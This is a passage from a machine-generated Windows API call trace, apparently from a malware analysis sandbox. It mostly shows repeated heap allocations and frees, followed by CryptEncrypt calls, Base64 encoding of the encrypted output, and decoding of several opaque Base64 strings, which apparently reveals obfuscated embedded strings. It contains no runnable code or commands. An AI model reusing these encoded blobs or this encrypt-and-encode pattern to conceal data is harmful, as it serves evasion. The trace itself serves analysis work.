(HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f91628 [0043.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f91590 [0043.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91628 | out: hHeap=0x4f90000) returned 1 [0043.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f91628 [0043.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f91590 [0043.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91628 | out: hHeap=0x4f90000) returned 1 [0043.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f91628 [0043.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f91590 [0043.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91628 | out: hHeap=0x4f90000) returned 1 [0043.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f91628 [0043.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f91590 [0043.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91628 | out: hHeap=0x4f90000) returned 1 [0043.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f91628 [0043.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f91590 [0043.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91628 | out: hHeap=0x4f90000) returned 1 [0043.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f91628 [0043.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f91590 [0043.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91628 | out: hHeap=0x4f90000) returned 1 [0043.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f91628 [0043.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f91590 [0043.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91628 | out: hHeap=0x4f90000) returned 1 [0043.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f91628 [0043.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f93400 [0043.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91628 | out: hHeap=0x4f90000) returned 1 [0043.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f934a8 [0043.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93400 | out: hHeap=0x4f90000) returned 1 [0043.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f93400 [0043.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f934a8 | out: hHeap=0x4f90000) returned 1 [0043.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f934a8 [0043.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93400 | out: hHeap=0x4f90000) returned 1 [0043.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f93400 [0043.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f934a8 | out: hHeap=0x4f90000) returned 1 [0043.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f934a8 [0043.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93400 | out: hHeap=0x4f90000) returned 1 [0043.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f93400 [0043.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f934a8 | out: hHeap=0x4f90000) returned 1 [0043.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f934a8 [0043.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93400 | out: hHeap=0x4f90000) returned 1 [0043.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f93400 [0043.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f934a8 | out: hHeap=0x4f90000) returned 1 [0043.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f934a8 [0043.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93400 | out: hHeap=0x4f90000) returned 1 [0043.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f93400 [0043.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f934a8 | out: hHeap=0x4f90000) returned 1 [0043.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f934a8 [0043.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93400 | out: hHeap=0x4f90000) returned 1 [0043.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f93400 [0043.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f934a8 | out: hHeap=0x4f90000) returned 1 [0043.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f934a8 [0043.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93400 | out: hHeap=0x4f90000) returned 1 [0043.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f93400 [0043.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f934a8 | out: hHeap=0x4f90000) returned 1 [0043.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f934a8 [0043.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93400 | out: hHeap=0x4f90000) returned 1 [0043.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f93560 [0043.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f934a8 | out: hHeap=0x4f90000) returned 1 [0043.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f93400 [0043.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93560 | out: hHeap=0x4f90000) returned 1 [0043.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f934b8 [0043.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93400 | out: hHeap=0x4f90000) returned 1 [0043.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f93400 [0043.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f934b8 | out: hHeap=0x4f90000) returned 1 [0043.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f934b8 [0043.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93400 | out: hHeap=0x4f90000) returned 1 [0043.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f93400 [0043.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f934b8 | out: hHeap=0x4f90000) returned 1 [0043.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f934b8 [0043.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93400 | out: hHeap=0x4f90000) returned 1 [0043.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f93400 [0043.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f934b8 | out: hHeap=0x4f90000) returned 1 [0043.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f934b8 [0043.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93400 | out: hHeap=0x4f90000) returned 1 [0043.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f93400 [0043.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f934b8 | out: hHeap=0x4f90000) returned 1 [0043.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f934b8 [0043.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93400 | out: hHeap=0x4f90000) returned 1 [0043.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f93400 [0043.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f934b8 | out: hHeap=0x4f90000) returned 1 [0043.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f934b8 [0043.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93400 | out: hHeap=0x4f90000) returned 1 [0043.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f93400 [0043.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f934b8 | out: hHeap=0x4f90000) returned 1 [0043.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93400 | out: hHeap=0x4f90000) returned 1 [0043.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f934b8 | out: hHeap=0x4f90000) returned 1 [0043.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93570 | out: hHeap=0x4f90000) returned 1 [0043.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93400 | out: hHeap=0x4f90000) returned 1 [0043.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f934c8 | out: hHeap=0x4f90000) returned 1 [0043.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93400 | out: hHeap=0x4f90000) returned 1 [0043.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f934c8 | out: hHeap=0x4f90000) returned 1 [0043.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93400 | out: hHeap=0x4f90000) returned 1 [0043.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f934c8 | out: hHeap=0x4f90000) returned 1 [0043.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93400 | out: hHeap=0x4f90000) returned 1 [0043.151] CryptEncrypt (in: hKey=0x34239f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x18eacc*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x18eacc*=0x400) returned 1 [0043.152] CryptEncrypt (in: hKey=0x34239f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x18ead0*, pdwDataLen=0x18eabc*=0x3e9, dwBufLen=0x400 | out: pbData=0x18ead0*, pdwDataLen=0x18eabc*=0x400) returned 1 [0043.154] CryptBinaryToStringA (in: pbBinary=0x18ead0, cbBinary=0x400, dwFlags=0x1, pszString=0x0, pcchString=0x18eac8 | out: pszString=0x0, pcchString=0x18eac8) returned 1 [0043.154] CryptBinaryToStringA (in: pbBinary=0x18ead0, cbBinary=0x400, dwFlags=0x1, pszString=0x4f9f098, pcchString=0x18eac8 | out: pszString="xNF/8UCC0cuxa8nEgwROkDXkeMfWJXgand5Afhz0HwV6XVXe8ZbZ1yeZR5yPCRXr\r\n2Jkl7NeoWFGAYQrjgkxVHy31NjLq6ceggiaYzADql7kBkU4C/SNntrXLw48mGTe+\r\nOACc45620mUBlFkPqNJ21qIElLbpVq0T+/+LRR+Oz435NNA2vsqrIOuooESJ9u3H\r\nQd64D9ZWP06lm59Mv9LwJAG/AEkea5lKigfi/rkMI8CdrYpZP4aZb8U1ufqUZsfI\r\nm4Ec6ssTMZoUmmk908r0csO3WhMzW9a/dAvKonJDMsTYZwIgJ35O3jy0CuEu+fdW\r\nR3SMrvB7CqXsWVrejaBYaB/0VXUQ6PGKlNBEaHcquNd68AzDF+Gup5IivQ4qkOza\r\n/uHSWRVzA1Qf/jBX3pyHP1gB009K2niegPh7Nh0cH23PpkVDI7GtGbF4/tvCjy7p\r\nCJD12CkJJafVv7LGpi9iNL2dkboFAqMy5iT0SBD4GJxTtO8HPJvFffuq1ePkvX8r\r\nmxQHX1PwpH8E6xPXgT1XNv4rjyX8DUjzE3hInnVQVkf3/M7bbphmNd6y52kKm0p3\r\nGs07bXJfzo0R4kuV/IJ2eZFVan9Z0uomsnKEcVQjNg96nq8v1KMN76+Vop9rYeM+\r\n7XyJsSIbgO6Iv9OR+FV1RHKFf7W33eiwUAh01lvMDQyB3563pQDxQxaLPGyd24FC\r\ntKXL04CCd3P15ZfXdGZBueGNK8UfXcRLySmBSgI/lOA3Lw+G/phyheRTVv2tNfMd\r\nhEm4u+fSZBRkikBLFpp96yZXoKENV0w6BAURBXbw3vgRoNETK2GILmJZF0nhuuk3\r\nmQ3M6psmq02hEoCwjxqeX57chut1x0/l4q4wB5LJ/Rc5+9T+V6SUrcJnFdy6NCDn\r\n5TAVQXckB4ZGzqzMhdHRGUOXqh6Vh3nYVtaj2IMpz5XwdUp6kKN4Qx0zp9axuwCI\r\nxoQBGnN45n8YBqklH09UYkQ0a/AF/eKgqR1oGQZLjPNenMZ481/GZijKaQXQgph7\r\nZrTrXjIHRUqMS0cD8EkslDwYeG1sTV8mOvPLDMqRSofrx3q+AyRuMyhppJlT9Mxx\r\nSKCAd1N3ywSVxrJ6vGicmyvwzdqwImXZZ6px67vv4h5xksjeXKm0CARlLdzqoLQ1\r\nu8LYJrtafK2DuTr7WQ50raGivBAul9PIgDv2eKUfSuTsDkfjbjbRNwNv7Bpb5s9f\r\npmO55V1rrZCdFOjg0V37pDgZViilhDWJejiHPjGAkGPpbuUZSYhpoNRFjrCm5tCd\r\nmrbuqRtZXLNvHxS7uMExwkzTi01rKyP/55epqy9QZ0zIQsnjamP3Nt3N0oOtfAsW\r\nxjk2o0lA0O54bygbF+89Dw==\r\n", pcchString=0x18eac8) returned 1 [0043.154] CryptEncrypt (in: hKey=0x34239f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x18eacc*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x18eacc*=0x400) returned 1 [0043.154] CryptEncrypt (in: hKey=0x34239f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x18ead0*, pdwDataLen=0x18eabc*=0x3db, dwBufLen=0x400 | out: pbData=0x18ead0*, pdwDataLen=0x18eabc*=0x400) returned 1 [0043.156] CryptBinaryToStringA (in: pbBinary=0x18ead0, cbBinary=0x400, dwFlags=0x1, pszString=0x0, pcchString=0x18eac8 | out: pszString=0x0, pcchString=0x18eac8) returned 1 [0043.156] CryptBinaryToStringA (in: pbBinary=0x18ead0, cbBinary=0x400, dwFlags=0x1, pszString=0x4f9f620, pcchString=0x18eac8 | out: pszString="4FvKXQlxfVpVQe5x+O5qTN4+40WcZDaZ0Ugc9KsHuGoMmA6z03efP4zSjS2NzVr1\r\npf5UCzG45YZHA+jojoW4KPPa8QWgkT35+GPCsFfe5zd0Y61cE95WQ6it+64gtwZE\r\nUXV5LDjHnV4KaSIbrutk/LvmymAHTdQyQwwpS4ft5e5Uj5KU2hlHbdJi/ud5ted7\r\nLdFW3X49EnhEwNiN3Is6O1YDT5hUJkFLiwUY2H8Ei/1TYteMPBBlZzNIu6X1HVbE\r\noWzBXcYP0tgtftbMiGPx16CtFb609uCzSOZTgtdToUcF43aXTgiM+DzPRznTSP9r\r\nVZu9ihXEst8gBQ8mbo25VDKZMOJJUTQo2G6yzwIr7rhFTthBwC5xp2NpyCocVvHU\r\nNbP1iU7yPMj+XkaJfElDuIJUzcKqMtB5zF1EhCgLKPtLnjaKMq0vS76gg7fzfmw7\r\neBIOi7AY6NzYnEwIaGN0Ogo3MWOA03NHy/jKUyqy0iYHmQfQ7i9bAfvTMiEcrOWB\r\n/DigiTjHaNZAD+M2az9CdkV6DAkCZagl3UAzH4l4F4TgXPxFlk/esGsjUxu5iyph\r\ne1VszNVttJ9oPI64JebHS3Lr335QQ4HwplKXjbbT3ZfSRC215OLK68s7wZaee0f2\r\n1FIcL9SSeJwTOxz22GE6AXfLtP5BCC+DW8FgQr0R64cg8ypyfNMOhWKwOSMsgJY8\r\nwGrNgFpmrCwNszZ8t+PmG/r1e/NFQwS4bnYp4EuKKxt1BU0gQFsbaq+Ao0s6GjP2\r\nT2IrUilkWUllj5pnDJtqPYrJwT+8hIR/T9fWh9iajtucEKKUItCH43sbn8ZqNWFp\r\n1WS2JUgptW2qRyHm/8mSsE5G6rYELvN2dJ4KPW40KspXtUQvARe+ZiuPF/NhkRD/\r\nWGQ+acXNycw4zQx+70/0+Oy8VOrfhfO+c8VPCi+HtZn7Xuns5iB2qSRefMHJTvIx\r\n98YkBKyWVBnIfvDAwbiZmWUTmzuGgRu4e2fGlNWZjNuAztwtyRpaPphB1DVt6m1q\r\noz77tIA4NAagRtjWnaYT0Rc1Wl3YAxx4jBXtiqKIUaa71h2FXOcixVcC7/qnC0Wr\r\nc65sP53UCSuIH+iJxs6HAqGDMpDnJrTRYF2rTI61zFepWPhDxq+yClm8pWESoJ27\r\ncRV0sV4y5NAoJRzHrRaO1Mt+I5Y0cbB7L0m7jZ+M7pBKF3ajMhYpc4Tv3UUjut7l\r\nfFJyLn8eUzGJVdFYVR8AoddI4xWsMXGAUC5uSSkbLKdS9XKDCid1y4eihuYhJ5+E\r\nZngww9Ligx1UYhLEDXbL0LrgaemOmAnXAHCQVkjHdRMqLE/lg2vOkeIcGsCyp+mL\r\nJCNYaaR+TTLhvG8s6qTAiw==\r\n", pcchString=0x18eac8) returned 1 [0043.156] CryptStringToBinaryA (in: pszString="lfGphP8H91ChnU5yBtb52+gh2PcKBPdKSMIeIWbW9iLiw8+A/wh8lqo9HmmK9abv9Caqjg0bp2zKamTCKbo=", cchString=0x54, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18e904, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18e904, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.156] CryptStringToBinaryA (in: pszString="lfGphP8H91ChnU5yBtb52+gh2PcKBPdKSMIeIWbW9iLiw8+A/wh8lqo9HmmK9abv9Caqjg0bp2zKamTCKbo=", cchString=0x54, dwFlags=0x1, pbBinary=0x4f915f8, pcbBinary=0x18e904, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x4f915f8, pcbBinary=0x18e904, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x408) returned 0x6341bc0 [0043.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0043.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6341bc0 | out: hHeap=0x4f90000) returned 1 [0043.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915f8 | out: hHeap=0x4f90000) returned 1 [0043.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f92868 [0043.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x4f915f8 [0043.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x47) returned 0x4f91698 [0043.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915f8 | out: hHeap=0x4f90000) returned 1 [0043.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0043.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f92868 [0043.156] CryptStringToBinaryA (in: pszString="od6LqN9QhniJrnRNOPSD5bwEr8dA", cchString=0x1c, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18e8fc, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18e8fc, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x15) returned 0x4f916e8 [0043.156] CryptStringToBinaryA (in: pszString="od6LqN9QhniJrnRNOPSD5bwEr8dA", cchString=0x1c, dwFlags=0x1, pbBinary=0x4f916e8, pcbBinary=0x18e8fc, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x4f916e8, pcbBinary=0x18e8fc, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x408) returned 0x6341bc0 [0043.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f91708 [0043.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6341bc0 | out: hHeap=0x4f90000) returned 1 [0043.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0043.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f91730 [0043.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91708 | out: hHeap=0x4f90000) returned 1 [0043.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f91590 [0043.157] CryptStringToBinaryA (in: pszString="uPOjkqYJrUjqk114Ap2j3u5vnfsYBfVXW4kLN3rV7nS0jtGD7xBpjLE8GT/S47vp8ieqzwkYoyiNa3nfNKG3Y2Ka2T++NHpe1qjz1bP2JpW9OtXuXq2h7tK/+eJMl/sbKfwBor9m", cchString=0x88, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18e8f8, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18e8f8, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x66) returned 0x4f91628 [0043.157] CryptStringToBinaryA (in: pszString="uPOjkqYJrUjqk114Ap2j3u5vnfsYBfVXW4kLN3rV7nS0jtGD7xBpjLE8GT/S47vp8ieqzwkYoyiNa3nfNKG3Y2Ka2T++NHpe1qjz1bP2JpW9OtXuXq2h7tK/+eJMl/sbKfwBor9m", cchString=0x88, dwFlags=0x1, pbBinary=0x4f91628, pcbBinary=0x18e8f8, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x4f91628, pcbBinary=0x18e8f8, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x408) returned 0x6341bc0 [0043.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f93400 [0043.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6341bc0 | out: hHeap=0x4f90000) returned 1 [0043.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91628 | out: hHeap=0x4f90000) returned 1 [0043.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f92868 [0043.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x4f916e8 [0043.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x47) returned 0x6341bd8 [0043.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0043.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6a) returned 0x4f93478 [0043.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6341bd8 | out: hHeap=0x4f90000) returned 1 [0043.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93400 | out: hHeap=0x4f90000) returned 1 [0043.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x4f916e8 [0043.158] CryptStringToBinaryA (in: pszString="z7v01aY/slik3EJoHp27zv48g+ofTLw=", cchString=0x20, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18e8ec, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18e8ec, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x17) returned 0x6342fc0 [0043.158] CryptStringToBinaryA (in: pszString="z7v01aY/slik3EJoHp27zv48g+ofTLw=", cchString=0x20, dwFlags=0x1, pbBinary=0x6342fc0, pcbBinary=0x18e8ec, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x6342fc0, pcbBinary=0x18e8ec, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x408) returned 0x6340048 [0043.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f92868 [0043.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0043.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6342fc0 | out: hHeap=0x4f90000) returned 1 [0043.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x6342fc0 [0043.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0043.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f93400 [0043.158] CryptStringToBinaryA (in: pszString="z7v31aY0rUqkkEJ8CJ2txfhvg/AJAv1PUoV/DViZ42e/2daO9EMvkLElXGea7Kel7SGpikdQrnyQdXmRafugeHmFxSP0MHdO2L7ux7w=", cchString=0x68, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18e8e8, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18e8e8, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4d) returned 0x4f91590 [0043.158] CryptStringToBinaryA (in: pszString="z7v31aY0rUqkkEJ8CJ2txfhvg/AJAv1PUoV/DViZ42e/2daO9EMvkLElXGea7Kel7SGpikdQrnyQdXmRafugeHmFxSP0MHdO2L7ux7w=", cchString=0x68, dwFlags=0x1, pbBinary=0x4f91590, pcbBinary=0x18e8e8, 